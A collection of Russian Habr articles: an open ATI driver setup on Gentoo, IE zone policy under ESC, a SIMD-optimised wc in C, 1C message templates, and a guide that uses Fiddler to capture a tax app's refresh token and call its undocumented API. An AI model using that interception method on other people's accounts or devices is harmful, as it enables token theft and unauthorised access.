После написания статьи наткнулся на [groups.google.com/forum/?fromgroups=#](https://groups.google.com/forum/?fromgroups=#)!topic/android-ndk/JmJYxZ7s8G8. Там то-же что и здесь, но опять же слишком многое нужно додумывать. | https://habr.com/ru/post/158743/ | null | ru | null |
# Открытая замена ati-drivers
Новость [«AMD прекращает поддержку R300-R500 чипов»](http://www.oslinux.ru/node/330) и политика ati-drivers заставили меня задуматься о переходе к свободному драйверу.
Поэтому я хочу рассказать как я это сделал в gentoo, поскольку на gentoo-wiki не нашел подобных how-to, а в разделе docs на gentoo.org, информация требует серьезных поправок.
После некоторых усилий, мне удалось получить рабочую систему на xf86-video-ati с 3D и композитингом.
**Итак, что меня не устраивало?**
1) fglrx заставляет отключить RCU preemption в ядре. А я хочу это использовать, поскольку RCU положительно сказывается на производительности и масштабируемости системы.
2) fglrx конфликтует с виртуализацией идущей с ядром, а я бы хотел поиграться с kvm.
3) fglrx закрыт, как следствие «runtime text relocations» в его библиотеках; а и вообще, на мой взгляд, он как-то выбивается из идеологии linux, потому что драйвер диктует какие-то свои условия.
4) также стоит отметить что fglrx «дружит» далеко не со всеми ядрами, например, он часто «отстает» от последних версий.
**Что имеем?**
Девайс: Radeon X850 PRO (R480) (PCIE)
Gentoo Linux ~amd64
Просто «в лоб» поменять поменять в xorg.conf fglrx на ati, дособрать необходимые модули и сделать eselect opengl set xorg-x11 не увенчались успехом. Нужны более тонкие настройки иксов + как оказалось, свежие версии библиотек x11.
**Что нужно сделать, чтобы все заработало?**
1) /etc/make.conf
`USE="... dri xcomposite ... "
VIDEO_CARDS="radeon"`
В ядре собираем (встроенно или модульно) agpgart и DRM -> Radeon (например)
2) далее через layman (если не установлен, то emerge layman) подлючаем x11 overlay:
`layman -a x11`
и демаскируем пакеты:
`ln -s /usr/portage/layman/x11/profiles/package.mask /etc/portage/package.unmask/x11`
после чего делаем:
`emerge -uDN world`
Однако, стоит отметить, что еbuild'ы из этого оверлея не совсем идеальны.
У меня, к примеру, не захотел собираться пакет pixman.
Поэтому такие некритичные пакеты можно исключить из
/etc/portage/package.unmask/x11
Хотя с помощью костыля я поставил именно pixman-9999 (кому интересно могу рассказать как, но вообще это не существенно, ибо все работает и со старой версией pixman).
Это, пожалуй, единственный негативный момент, который мне встретился, и я думаю,
это временные проблемы с ебилдами, которые будут устранены в ближайщем будущем.
Итак, система собрана, пора поднастроить xorg.
3) xorg.conf
`Section "ServerFlags"
Option "AllowMouseOpenFail" "true"
Option "IgnoreABI" "on"
Option "AIGLX" "true"
EndSection
Section "Module"
Load "glx"
Load "extmod"
Load "dbe"
Load "freetype"
Load "dri"
Load "drm"
Load "ddc"
Load "vbe"
EndSection
Section "Device"
BoardName "Radeon X850 PRO (R480) (PCIE)"
Driver "ati"
Identifier "Device[0]"
Screen 0
VendorName "ATI"
Option "XAANoOffscreenPixmaps" "true"
Option "ColorTiling" "on"
Option "AccelMethod" "EXA"
Option "DMAForXv" "true"
Option "EnablePageFlip" "on"
#Option "AGPFastWrite" "yes"
Option "DynamicClocks" "on"
EndSection
Section "DRI"
Mode 0666
EndSection
Section "Extensions"
Option "Composite" "true"
Option "DAMAGE" "true"
Option "RENDER" "true"
EndSection`
Если вы еще не удалили ati-drivers, то делаем
`eselect opengl set xorg-x11`
Запускаем иксы и наслаждаемся рабочим драйвером! :)
*glxinfo:*
`name of display: :0.0
display: :0 screen: 0
direct rendering: Yes`
*/var/log/Xorg.0.log:*
`(**) AIGLX enabled
(II) AIGLX: enabled GLX_MESA_copy_sub_buffer
(II) AIGLX: enabled GLX_SGI_make_current_read
(II) AIGLX: enabled GLX_SGI_swap_control and GLX_MESA_swap_control
(II) AIGLX: enabled GLX_texture_from_pixmap with driver support
(II) AIGLX: Loaded and initialized /usr/lib64/dri/r300_dri.so
...
(II) Loading extension XFree86-DRI
(II) Loading extension DRI2
(II) RADEON(0): [dri] Found DRI library version 1.3.0 and kernel module version1.29.0
(II) RADEON(0): [DRI] installation complete`
*glxgears:*
`23590 frames in 5.0 seconds = 4717.968 FPS`
В заключение отмечу, что да, количество fps немного хуже, чем в драйверах от amd, но с теми задачами, которые мне нужны, эта карточка + открытый драйвер справляются весьма неплохо.
Да, и xf86-video-ati будет развиваться дальше, а поддержка моей карты с ati-drivers прекращается.
Так что свой выбор в сторону полностью открытого ПО я уже сделал. | https://habr.com/ru/post/54874/ | null | ru | null |
# Site to Zone Assignment list и Internet Explorer с включенной Enhanced Security Configuration
Столкнулся недавно с проблемой что IE не хотел правильно принимать настройки локальной групповой политики Site to Zone Assignment list. Проблема проявлялась следующим образом:
При несконфигурированной политике список доверенных сайтов был по умолчанию, что логично.

А при сконфигурированной — пуст.

При этом сама политика была совсем не пуста.

Как оказалось — политика применялась правильно только в том случае, если режим ESC был отключен. Теперь надо было разобраться как заставить политику работать и при включенном ESC. К сожалению гуглинг ни к чему не привел, так как большинство предпочитает отключать ESC и соответственно с подобной проблемой не сталкивается. К счастью нашлась [статья](https://blogs.msdn.microsoft.com/askie/2012/06/05/how-to-configure-internet-explorer-security-zone-sites-using-group-polices/), из которой следовало что IE хранит информацию о привязке сайтов к зонам в разных ветках реестра в зависимости от того включена ESC или нет. Было решено сравнить схему ключей реестра групповой политики и обычных настроек IE. В той же статье были указаны как ветвь реестра настроек IE:
```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\
```
Так и ветвь реестра настроек групповой политики:
```
HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
```
Было обнаружено что настройки IE включают две подветви: Domains и EscDomains.

В тоже время ветвь групповой политики может похвастаться только подветвью Domains, а EscDomains отсутствует.

Было решено повторить структуру ветвей и ключей Domains во вручную созданной ветви EscDomains.

Проверяем — проблема решена.
 | https://habr.com/ru/post/312820/ | null | ru | null |
# Очередная статья про wc
Всем добрый день.
Недавно на Хабре появилась статья [Побеждая C двадцатью строками Haskell: пишем свой wc](https://habr.com/ru/post/489136) от [@0xd34df00d](https://habr.com/ru/users/0xd34df00d/). Автор, известный своей симпатией к функциональному программированию, реализовал на Хаскеле аналог утилиты *wc*, и подверг его оптимизации, получив в результате вариант, работающий более чем в 7 раз быстрее стандартной юниксовой утилиты.
Будучи добросовестным "бенчмаркером", [0xd34df00d](https://habr.com/ru/users/0xd34df00d/) в конце статьи указал, что его вариант работает с сильно упрощенным ТЗ по сравнению с оригиналом (например, был проигнорирован Unicode), и следовательно его превосходство в производительности ничего по факту не означает. Но ясное дело, что несмотря на это формат статьи породил множество споров в комментариях (да я и сам часто не читаю дальше заголовка, чего греха таить). Под статьей [yleo](https://habr.com/ru/users/yleo/) привел результаты тестирования написанного им тривиального решения на C (под упрощенное условие), показав, что даже наивная C-реализация обходит оптимизированный Haskell-вариант. После этого господа принялись кидаться друг в друга ~~ка~~комментариями, в которых придирались к мелким различиям возможностей их вариантов (это исключительно мое личное видение ситуации).
Спустя некоторое время вышла статья товарища [chapuza](https://habr.com/ru/users/chapuza/), в которой была представлена реализация упрощенного *wc* на Elixir, также работающая быстрее, чем стандартная. В комментариях продолжилась дискуссия из первого поста, хотя на мой взгляд былой запал был утрачен.
В данной статье мы не будем пытаться победить один язык/парадигму программирования другим/другой. Думаю, непредвзятому человеку понятно, что C намного гибче в плане ручной оптимизации, чем Haskell и большинство других языков программирования, и поэтому код на C хоть и может быть медленнее чем на Haskell, но также может быть и намного быстрее — все зависит от того, кто этот код пишет. С другой стороны, лично я вижу много пока что не раскрытых возможностей функциональной парадигмы, и не исключаю возможности, что когда-то именно функциональный код будет оптимизироваться настолько круто, что написание подобного аналога на C будет слишком затратным занятием. Но даже если и так, это время еще не пришло.
В то же время, будучи человеком, чью любовь к оптимизации (даже бессмысленной) я оцениваю как фанатическую, я сразу заинтересовался насколько можно оптимизировать тривиальный C-вариант. Этим мы и займемся. Думаю, на волне предыдущих статей это будет интересно, к тому же, сам [0xd34df00d](https://habr.com/ru/users/0xd34df00d/) в комментариях к своей статье выразил интерес к подсчету слов с помощью "simd-магии".
### Тестовый стенд
Итак, для начала представим условия, в которых мы будем считать слова.
```
#include
#include
#include
#include
#include
using namespace std;
struct stats
{
uint32\_t char\_count;
uint32\_t line\_count;
uint32\_t word\_count;
};
void word\_count( unsigned char\* const str, uint32\_t size, stats& result );
int main( )
{
FILE\* f;
fopen\_s( &f, "input.txt", "rb" );
fseek( f, 0, SEEK\_END );
long size = ftell( f );
rewind( f );
long alloc\_size = size + 63 - ( size + 63 ) % 64;
unsigned char\* const data = (unsigned char\*)\_aligned\_malloc( alloc\_size, 64 );
fread( data, 1, size, f );
fclose( f );
LARGE\_INTEGER fr, t0, t1;
QueryPerformanceFrequency( &fr );
QueryPerformanceCounter( &t0 );
stats result;
word\_count2( data, size, result );
QueryPerformanceCounter( &t1 );
\_aligned\_free( data );
double const time = (double)( t1.QuadPart - t0.QuadPart ) / (double)fr.QuadPart;
printf(
"Words: %d; lines: %d; chars: %d\nElapsed time: %lfms\n",
result.word\_count, result.line\_count, result.char\_count, time \* 1000.0
);
system( "pause" );
}
```
Для начала — да, я буду использовать Windows и Visual Studio. К сожалению, мой уровень владения Linux'ом приближается к нулю, и писать Linux-программы значило бы потратить значительно больше усилий. С другой стороны, мы ведь ни с кем не соревнуемся — так что пусть будет уютная VS.
Как видите, все максимально просто. Мы считываем файл с диска, предварительно узнав его размер и выделив под него память. Память выделяем выровненную по 64 байта и также дополняем размер аллокации до 64 байт — пригодится для SIMD-инструкций, да и вообще не повредит. Далее вызываем функцию подсчета слов, время выполнения которой трекаем с помощью таймеров высокой точности. (Стоило бы использовать средства стандартной библиотеки, но этот метод мне привычней, к тому же, не приходится сомневаться в его точности.) Далее просто выводим результат обработки и затраченное время в миллисекундах, не забывая освободить память.
Будем считать, что во входном файле не используется Unicode, и что пробельными являются символы код которых меньше либо равен 32. Последнее ограничение можно заменить на более корректное, но тогда результаты возможно будут другими. К тому же, мне кажется что подсчет слов обычно используется на данных, где такое условие будет работать удовлетворительно.
Тестирование проводилось на компьютере с новеньким Ryzen 5 3600 c оперативной памятью 2x8 Gb 3200 MHz. Ах да, входной файл использовался тот же, что и в предыдущих статьях.
### Тривиальная реализация
Мой тривиальный вариант следующий:
```
void word_count( unsigned char* const str, uint32_t size, stats& result )
{
uint32_t lines = 1;
uint32_t words = 0;
bool was_space = false;
for ( uint32_t i = 0; i < size; ++i )
{
unsigned char const c = str[i];
bool const is_space = c <= ' ';
lines += ( c == '\n' ) ? 1 : 0;
words += ( is_space && !was_space ) ? 1 : 0;
was_space = is_space;
}
words += !was_space ? 1 : 0;
result.char_count = size;
result.line_count = lines;
result.word_count = words;
}
```
По сути он практически ничем не отличается от уже приведенного в комментариях к статье [0xd34df00d](https://habr.com/ru/users/0xd34df00d/). Результаты работы:
```
Words: 44774640; lines: 15000010; chars: 1871822228
Elapsed time: 1825.704800ms
```
### (SIMD-магия выходит на сцену)
Итак, что мы видим? Видим то, что каждый символ строки по сути обрабатывается независимо (да, есть зависимость от предыдущего символа, но **не от результата** его обработки). Так почему бы нам не обрабатывать по 16 символов одновременно с помощью SSE-инструкций?
Вариант с SSE:
```
void word_count_sse( unsigned char* const str, uint32_t size, stats& result )
{
uint32_t lines = 1;
uint32_t words = 0;
bool was_space = false;
for ( uint32_t i = 0; i < size; i += 16 )
{
__m128i const c = _mm_load_si128( (__m128i*)( str + i ) );
uint32_t is_newline_mask = _mm_movemask_epi8(
_mm_cmpeq_epi8( c, _mm_set1_epi8( '\n' ) )
);
uint32_t is_space_mask = _mm_movemask_epi8(
_mm_andnot_si128( c, _mm_cmplt_epi8( c, _mm_set1_epi8( ' ' + 1 ) ) )
);
uint32_t was_space_mask = ( was_space ? 1 : 0 ) | ( is_space_mask << 1 );
lines += __popcnt( is_newline_mask );
words += __popcnt( is_space_mask & ~was_space_mask );
was_space = is_space_mask & 0x8000;
}
words += !was_space ? 1 : 0;
result.char_count = size;
result.line_count = lines;
result.word_count = words;
}
```
Думаю стоит объяснить что тут происходит. У нас все еще есть флаг *was\_space*, который означает был ли предыдущий символ пробельным. Теперь, поскольку мы обрабатываем 16 символов за раз, этот флаг сохраняет информацию о 15-ом символе из предыдущей партии, так как именно это нам важно для первого символа из текущей.
В цикле мы сначала загружаем данные с помощью интринсика \_mm\_load\_si128 в переменную типа \_\_m128i (в ассемблере она станет 128-битным XMM-регистром).
Далее мы проводим тесты символов на то что они являются пробельными или символами перевода строки. Наша цель — получить 16-битные маски результата, в котором каждый бит отвечает за соответствующий символ в 128-битном регистре. SSE-инструкции сравнения работают только с XMM-регистрами, и для того что бы получить 16-битную маску мы используем интринсик \_mm\_movemask\_epi8. Эта инструкция делает именно то что нам нужно — принимает на вход 128-битную переменную, интерпретирует ее как массив из 16 байт, и выдает 16-битную маску, каждый бит которой копируется из старшего бита соответствующего байта XMM-регистра.
Для теста на перевод строки мы просто используем инструкцию \_mm\_cmpeq\_epi8, которая побайтно сравнивает входные параметры и выдает 128-битный результат, каждый байт которого имеет значение 0, если соответствующие входные байты неравны, и 255 в противном случае. На вход мы подаем переменную с обрабатываемыми символами и 128-битную переменную, каждый байт представляет символ перевода строки (для этого используем интринсик \_mm\_set1\_epi8).
С тестом на пробельный символ все немного сложнее. Дело в том, что тест больше/меньше SSE может проводить только над знаковыми целыми числами. Это и делает инструкция \_mm\_cmplt\_epi8 — проверяет, что байты первого аргумента строго меньше байтов второго и возвращает маску аналогично \_mm\_cmpeq\_epi8. Но это значит, что любой символ, код которого равен 128 и выше, такая проверка назовет пробельным. Поэтому мы маскируем подобные символы с помощью инструкции \_mm\_andnot\_si128. Она принимает на вход два 128-битных регистра и возвращает результат побитового "И" второго аргумента и инвертированного первого. Мы передаем текущие символы как первый аргумент и результат \_mm\_cmplt\_epi8 как второй. У символов с кодом больше 128 установлен старший бит, следовательно в результате соответствующие старшие биты будут обнулены — это как раз то, что нам нужно для movemask'а.
Дальше мы уже оперируем с битовыми масками в обычных регистрах. Вычисляем маску was\_space\_mask, используя is\_space\_mask и флаг was\_space, комбинируем маски так же, как в элементарном варианте и используем \_\_popcnt что бы узнать количество установленных бит, которое аккумулируем в результат. В конце обновляем was\_space флаг, устанавливая его в старший бит маски.
Поподробнее узнать об SIMD-инструкциях платформы x86 лучше [здесь](https://software.intel.com/sites/lan%0Adingpage/IntrinsicsGuide/).
Результаты тестирования:
```
Words: 44774640; lines: 15000010; chars: 1871822228
Elapsed time: 165.704300ms
```
В 11 раз быстрее! Неплохой результат.
### Еще SIMD-магия
Но, как говорится в известной пословице, между SSE и AVX перерывчик небольшой. Давайте попробуем обрабатывать 32 символа за раз с помощью инструкций AVX/AVX2:
```
void word_count_avx( unsigned char* const str, uint32_t size, stats& result )
{
uint32_t lines = 1;
uint32_t words = 0;
bool was_space = false;
for ( uint32_t i = 0; i < size; i += 32 )
{
_mm_prefetch( (char*)str + i + 32 * 64, _MM_HINT_NTA );
__m256i const c = _mm256_load_si256( (__m256i*)( str + i ) );
uint32_t is_newline_mask = _mm256_movemask_epi8(
_mm256_cmpeq_epi8( c, _mm256_set1_epi8( '\n' ) )
);
uint32_t is_space_mask = _mm256_movemask_epi8(
_mm256_andnot_si256( c, _mm256_sub_epi8( c, _mm256_set1_epi8( ' ' + 1 ) ) )
);
uint32_t was_space_mask = ( was_space ? 1 : 0 ) | ( is_space_mask << 1 );
lines += __popcnt( is_newline_mask );
words += __popcnt( is_space_mask & ~was_space_mask );
was_space = is_space_mask & 0x80000000;
}
words += !was_space ? 1 : 0;
result.char_count = size;
result.line_count = lines;
result.word_count = words;
}
```
Как видно, по сравнению с SSE-вариантом смысловых изменений нет. Использованы инструкции AVX/AVX2, функционал которых аналогичен тем, что были использованы ранее. Инкремент в цикле теперь не 16, а 32, и маски теперь 32-битные.
Результат:
```
Words: 44774640; lines: 15000010; chars: 1871822228
Elapsed time: 109.606000ms
```
Примерно в полтора раза быстрее.
### Prefetch
В подобных ситуациях, когда мы обрабатываем большие объемы памяти, производя не так уж много вычислений, и при этом доступ к памяти последовательный, стоит задуматься о том, что бы использовать интринсик \_mm\_prefetch. Данная инструкция указывает, что мы хотим в будущем использовать некоторый участок памяти, и что неплохо бы загрузить его в кеш (то, что происходит на самом деле, сильно зависит от модели процессора). Так что сделал небольшую вставку в AVX-вариант:
```
void word_count2( unsigned char* const str, uint32_t size, stats& result )
{
// ..............
for ( uint32_t i = 0; i < size; i += 32 )
{
_mm_prefetch( (char*)str + i + 32 * 64, _MM_HINT_NTA );
// ..............
}
// ..............
}
```
```
Words: 44774640; lines: 15000010; chars: 1871822228
Elapsed time: 73.564900ms
```
То есть на каждой итерации цикла мы просим загрузить в кеш участок памяти, который будем обрабатывать через 64 итерации. Немного нечестная оптимизация, поскольку параметры я подстроил исключительно под себя; на других платформах на самом деле это может даже снизить производительность.
В этом месте я подумал, что мы уже наверняка почти что упираемся в пропускную способность RAM. И правда — если оставить в цикле только загрузку данных в регистр, цикл отрабатывает примерно за 70ms. Так что смысла оптимизировать дальше скорее всего нет ~~(да и раньше его не было)~~.
### Выводы
Итак, в этой статье было показано, как можно действительно быстро считать слова в тексте. Другой вопрос, стоит ли это делать быстро, или лучше все таки делать это правильно на любых входных данных, при том что изначально 1.8 Gb текста обрабатывались за 10 секунд.
В любом случае, надеюсь, статья была интересной, и кто-то сможет почерпнуть для себя что-нибудь новое.
Веселых холиваров! | https://habr.com/ru/post/489898/ | null | ru | null |
# Автоматизация для самозанятых: как интегрировать налог с IT проектом
С 1 января 2019 года для четырёх субъектов Российской Федерации (Москвы, Московской и Калужской областей, а также республики Татарстан) был принят закон, внедряющий пилотным проектом новый Налог на Профессиональную Деятельность (НПД). Если вкратце, его главная задача — избавить профессиональных деятелей от всех трудностей малого бизнеса: налога 6% (в случае с ИП), обязательных пенсионных взносов, сумма которых с каждым годом лишь за одного себя приближается к отметке 50 тысяч рублей, налоговой декларации. Тем самым государство поддерживает малый бизнес, предоставляя начинающим предпринимателям невысокий налог (4% за доход от физических лиц и 6% — от юридических). Если желаете больше подробностей — можете посмотреть детальную информацию в интернете.
НПД вправе пользоваться даже физические лица, которые работают в сфере IT. Как это может помочь? Например, вы разработали сервис, который работает в интернете, вы хотите принимать платежи. Вам не придётся ради такой предпринимательской деятельности регистрировать юрлицо и с самого старта решать кучу вопросов. Достаточно лишь зарегистрироваться как самозанятый и на честном слове вручную забивать каждую услугу или товар. В тот же миг разработчик сервиса задумывается: «А можно ли этот процесс автоматизировать?». И ответ здесь — «Разумеется, можно!». Статья, собственно, и заключается в том, чтобы рассказать вам, как это делается.
> Важное замечание: автор статьи использует знания, полученные в результате исследования приложения, только для добра — автоматизации рутины. Таких же мотивов он желает и вам.
### Шаг 1. Определение HTTP трафика
Здесь потребуется официальное приложения налогоплательщика «Мой налог». Скачать его можно через Google Play.
Для данной статьи будет достаточно определить sourceDeviceId (подозреваю, что это то же самое, что и android id) и refreshToken, однако исследовать можно абсолютно все методы API, предложенные приложением к изучению. Чтобы его определить — нужно получить HTTPS запросы смартфона. Для стокового устройства без root прав можно воспользоваться компьютером, бесплатной программой Fiddler. Чтобы разобраться в работе программы, я воспользовался не совсем актуальным [руководством](https://habr.com/ru/company/infopulse/blog/156711/), однако и его было достаточно, чтобы перехватить https трафик смартфона и отобразить работу приложения на экран компьютера.
После установки всего необходимого надо зарегистрироваться как налогоплательщик и закрыть приложение. Затем активизировать работу программы Fiddler, наладить прокси соединение на смартфоне и запустить приложение заново. Приложение сделает запрос авторизации с refresh token'ом, который на момент этой статьи создаётся с бессрочным сроком действия:

Как можно заметить на скриншоте, приложение имеет базовый домен lknpd.nalog.ru (субдомен сайта налоговой службы РФ) и версию API 1. Авторизация для методов используется Bearer, токен для него генерируется через метод /auth/token. Данные из полей запроса sourceDeviceId и refreshToken вам крайне необходимы. Я проверял работу refreshToken'a через 3 дня после эксперимента — он работает, следовательно, token на 1 час можно спокойно брать, заведомо имея один актуальный refreshToken.
Сам метод отправки прихода выглядит так и имеет все необходимые поля:

Учтите, что все поля обязательны к заполнению. Поле services может вызвать у вас желание отправлять несколько услуг в массиве, однако на чеке отобразится лишь первая услуга, хотя и конечная стоимость будет полной. Всё-таки сервис достаточно сыроват, да и запущен лишь недавно, зацикливаться на этом не будем (хотя обидно на самом деле, несколько позиций порой необходимы).
Стоит также обратить внимание на ответ: approvedReceiptUuid: поле содержит уникальный код чека, который безо всяких трудностей можно получить по вашему ИНН и UUID чека.
### Шаг 2. Разработка скрипта
Чтобы быстро продемонстрировать концепт автоматизации используется Python 3.7.2 с библиотекой requests:
```
import requests
import datetime
import shutil
TIME_OFFSET = '+03:00'
DEVICE_ID = ''
REFRESH_TOKEN = ''
API_PROVIDER = 'https://lknpd.nalog.ru/api/v1/'
TOKEN = ''
INN = ''
def DO(method, params):
headers = {"Authorization":"Bearer "+TOKEN} if TOKEN != '' else {}
r = requests.post(API_PROVIDER+method, json=params, headers=headers)
print(r.text)
return r.json()
def get_token():
reqparam = {
"deviceInfo": {
"appVersion": "1.0.0",
"metaDetails": {
"browser": "",
"browserVersion": "",
"os": "android"
},
"sourceDeviceId": DEVICE_ID,
"sourceType": "android"
},
"refreshToken": REFRESH_TOKEN
}
res = DO('auth/token', reqparam)
# TODO: сохранять tokenExpireIn и не вызывать авторизацию каждый раз
return res['token']
# TODO: научиться нормально программировать
TOKEN = get_token()
def new_transaction(service, amount):
trans_time = datetime.datetime.now().isoformat()[:-3]+TIME_OFFSET
reqparam = {
"ignoreMaxTotalIncomeRestriction": False,
"operationTime": trans_time,
"paymentType": "CASH",
"requestTime": trans_time,
"services": [
{
"amount": amount,
"name": service,
"quantity": 1
}
],
"totalAmount": amount
}
res = DO('income', reqparam)
return res['approvedReceiptUuid']
def get_receipt(receipt_uuid):
headers = {"Authorization":"Bearer "+TOKEN}
r = requests.get(
'https://lknpd.nalog.ru/api/v1/receipt/'+INN+"/"+receipt_uuid+"/print",
stream=True,
headers=headers
)
with open('receipt.png', 'wb') as f:
r.raw.decode_content = True
shutil.copyfileobj(r.raw, f)
if __name__ == '__main__':
rec = new_transaction('Тестовая услуга', '1.00')
get_receipt(rec)
```
Подставьте необходимые значения — скрипт сработает, как надо. Можете добавлять обработчики ошибок и улучшать доставку — изложенный выше скрипт лишь показывает принцип работы с API НПД налоговой.
> **Замечание** Возможно, в дальнейшем налоговая опубликует API, а сейчас этого не делает лишь потому, что это мало кому требуется. Следовательно, это дело отложено на потом. Однако спешу заметить, что если официальное руководство и будет опубликовано — в нём будет либо аналогичная информация, либо слегка усовершенствованная, в плане авторизации уж точно.
>
>
>
> **UPD:** нашёл документацию на автоматизацию, которая написана… такое чувство будто депутатом от руки: очень мудрёно и не структурировано. Будет время — напишу уже достойную статью на тему автоматизации через официальный API. Спойлер: там всё примерно то же самое, что мы изучили через трафик, только описаны официальные способы с запросами по E-mail и прочими сложностями.
### Заключение
В заключение хочется отметить: ~~не повторяйте это дома~~ нет ничего невозможного. Даже такую рутинную вещь можно спокойно автоматизировать. Копируйте код, дорабатываете на свой лад. Возможно, потом реализую библиотеку, чтобы автоматизация была намного доступнее всем желающим. Жду вашей объективной критики и продолжаю копать в сторону API. Моя следующая цель — идеализировать принцип авторизации и создать библиотеку для Python. | https://habr.com/ru/post/436656/ | null | ru | null |
# Стандарты использования сообщений пользователю в 1С
**Введение**
Всем доброго времени! В данном небольшом мануале рассмотрим базовый функционал подсистемы (БСП) модулей "**Шаблоны сообщений**", которые используются в типовых конфигурациях. Функционал будет полезен пользователям для общего понимания встроенных возможностей программ, а так же программистам для быстрого и правильного внедрения и реализации своих разработок (подсистем) в типовые конфигурации
Данную статью вы можете использовать как шпаргалку на будущее.
Статью разобьем на две части - в первой из них программно создадим и настроем типовой шаблон сообщений, использую элемент справочника конфигурации "**Шаблоны сообщений**".
Во второй части статьи мы попробуем отправить сообщение по электронной почте, создав документ "**Электронное сообщение исходящее**" по шаблону из первой части.
**Создание и настройка шаблона сообщений типовыми методами**
В данном разделе, как указано выше, попробуем написать код, который создаст типовой шаблон сообщения в справочнике "**Шаблоны сообщений**", конфигурации на БСП.
Я буду разрабатывать пример для не типового документа в системе стандартных подсистем - это документ "**Списание товаров**". Для этого я первым этапом должен внести изменения в конфигурацию (или расширение) небольшие правки для этого документа:
В модуль менеджера документа "Списание товара" вносим пустые процедуры взаимодействия с подсистемой сообщений пользователю:
```
// СтандартныеПодсистемы.ШаблоныСообщений
// Вызывается при подготовке шаблонов сообщений и позволяет переопределить список реквизитов и вложений.
//
Процедура ПриПодготовкеШаблонаСообщения(Реквизиты, Вложения, ДополнительныеПараметры) Экспорт
КонецПроцедуры
// Вызывается в момент создания сообщений по шаблону для заполнения значений реквизитов и вложений.
//
Процедура ПриФормированииСообщения(Сообщение, ПредметСообщения, ДополнительныеПараметры) Экспорт
КонецПроцедуры
// Заполняет список получателей SMS при отправке сообщения сформированного по шаблону.
//
Процедура ПриЗаполненииТелефоновПолучателейВСообщении(ПолучателиSMS, ПредметСообщения) Экспорт
КонецПроцедуры
// Заполняет список получателей почты при отправке сообщения сформированного по шаблону.
//
Процедура ПриЗаполненииПочтыПолучателейВСообщении(ПолучателиПисьма, ПредметСообщения) Экспорт
КонецПроцедуры
// Конец СтандартныеПодсистемы.ШаблоныСообщений
```
Далее, для документа "**Списание товаров**" я создаю СКД макет "**ДанныеШаблонаСообщений**", где самым простым запросом выбираю поля, которые мне нужны. В общем виде, выглядит это вот так:
Описание СКД шаблона документа "Списание товаров". Запрос простой, но его нужно сделать именно так:
```
ВЫБРАТЬ
_ДемоСписаниеТоваров.Ссылка КАК Ссылка,
_ДемоСписаниеТоваров.ВерсияДанных КАК ВерсияДанных,
_ДемоСписаниеТоваров.ПометкаУдаления КАК ПометкаУдаления,
_ДемоСписаниеТоваров.Номер КАК Номер,
_ДемоСписаниеТоваров.Дата КАК Дата,
_ДемоСписаниеТоваров.Комментарий КАК Комментарий,
_ДемоСписаниеТоваров.МестоХранения КАК МестоХранения,
_ДемоСписаниеТоваров.Организация КАК Организация,
_ДемоСписаниеТоваров.Ответственный КАК Ответственный
ИЗ
Документ._ДемоСписаниеТоваров КАК _ДемоСписаниеТоваров
ГДЕ
_ДемоСписаниеТоваров.Ссылка = &_ДемоСписаниеТоваров
```
Следующим этапом, я должен добавить ссылку документа "**Списание товаров**" в определяемый тип "**Предмет шаблона сообщений**". Вот так:
Определение типа "Списание товаров" Все, теперь я создаю элемент справочника "**Шаблон сообщений**" и вижу, что тип документа "**Списание товаров**" доступен:
 Доступность документа "Списание товаров" в назначениях шаблонов сообщений. Далее, я напишу обработку, которая автоматически создаст мне шаблон по типу документа "**Списание товаров**". Код обработки вот такой:
```
&НаКлиенте
Процедура СоздатьШаблон(Команда)
СоздатьШаблонНаСервере();
КонецПроцедуры
&НаСервере
Процедура СоздатьШаблонНаСервере()
ПараметрыШаблона = ШаблоныСообщений.ОписаниеПараметровШаблона();
// Структура:
// Наименование - Строка - наименование шаблона.
// Текст - Строка - текст шаблона.
// Тема - Строка - текст темы электронного письма.
// ТипШаблона - Строка - тип "Письмо" или "SMS".
// Назначение - Строка - Например, Заказ поставщику.
// ПолноеИмяТипаНазначения - Строка - Документ.ЗаказПокупателя параметры доступны все его реквизиты.
// ФорматПисьма - ПеречислениеСсылка.СпособыРедактированияЭлектронныхПисем HTML или ОбычныйТекст.
// УпаковатьВАрхив - Булево - если Истина, Только для шаблонов электронной почты.
// ТранслитерироватьИменаФайлов - Булево - "Schet na oplaty.pdf".
// ФорматыВложений - СписокЗначений - список форматов вложений. Только для шаблонов электронной почты.
// ВладелецШаблона - ОпределяемыйТип.ВладелецШаблонаСообщения - владелец контекстного шаблона.
// ШаблонПоВнешнейОбработке - Булево - если Истина, то шаблон формируется внешней обработкой.
// ВнешняяОбработка - СправочникСсылка.ДополнительныеОтчетыИОбработки - внешняя обработка, в которой содержится шаблон.
// ПодписьИПечать - Булево - добавляет факсимильную подпись и печать в печатную форму. Только для шаблонов
Наименование = "Шаблон - списание товаров";
ПараметрыШаблона.Назначение = "Оповещение - процедура ""Списание товара""";
ПараметрыШаблона.ТипШаблона = "Письмо";
ПараметрыШаблона.ПолноеИмяТипаНазначения = "Документ._ДемоСписаниеТоваров";
ПараметрыШаблона.ФорматПисьма = Перечисления.СпособыРедактированияЭлектронныхПисем.HTML;
ПараметрыШаблона.Тема = "Создано списание [_ДемоСписаниеТоваров.Номер] от [_ДемоСписаниеТоваров.Дата]";
ТестШаблонаСообщения = "Списание [_ДемоСписаниеТоваров.Номер] создано"+Символы.ПС
+"Ответственный [_ДемоСписаниеТоваров.Ответственный]"+Символы.ПС
+"МестоХранения [_ДемоСписаниеТоваров.МестоХранения]"+Символы.ПС
+"Основная организация [_ДемоСписаниеТоваров.Организация]";
ПараметрыШаблона.Текст = ТестШаблонаСообщения;
ПолученныйШаблон = ШаблоныСообщений.СоздатьШаблон(Наименование,ПараметрыШаблона);
КонецПроцедуры
```
Проверяя корректность, нажав соответствующую кнопку "**Проверить шаблон**" - вижу сообщение "**Шаблон заполнен корректно**". Все, могу его использовать.
Проверка корректности шаблона сообщений пользователю, созданного автоматически. Теперь, во второй части статьи, попробуем отправить этот шаблон как электронное письмо.
**Пример отправки сообщения по созданному шаблону**
После того, как мы создали кастомный шаблон сообщения по реквизитам документам, попробуем его отправить документом "Электронное письмо исходящее".
Для этого дополним наш код такими процедурами (с привязкой к кнопке):
```
&НаКлиенте
Процедура ОтправитьСообщение(Команда)
ПодготовитьПисьмоПоШаблону();
КонецПроцедуры
&НаСервере
Процедура ПодготовитьПисьмоПоШаблону()
УИД = Новый УникальныйИдентификатор();
Шаблон = ЭтаФорма.ВыбШаблон;
Предмет = ЭтаФорма.ВыбДок;
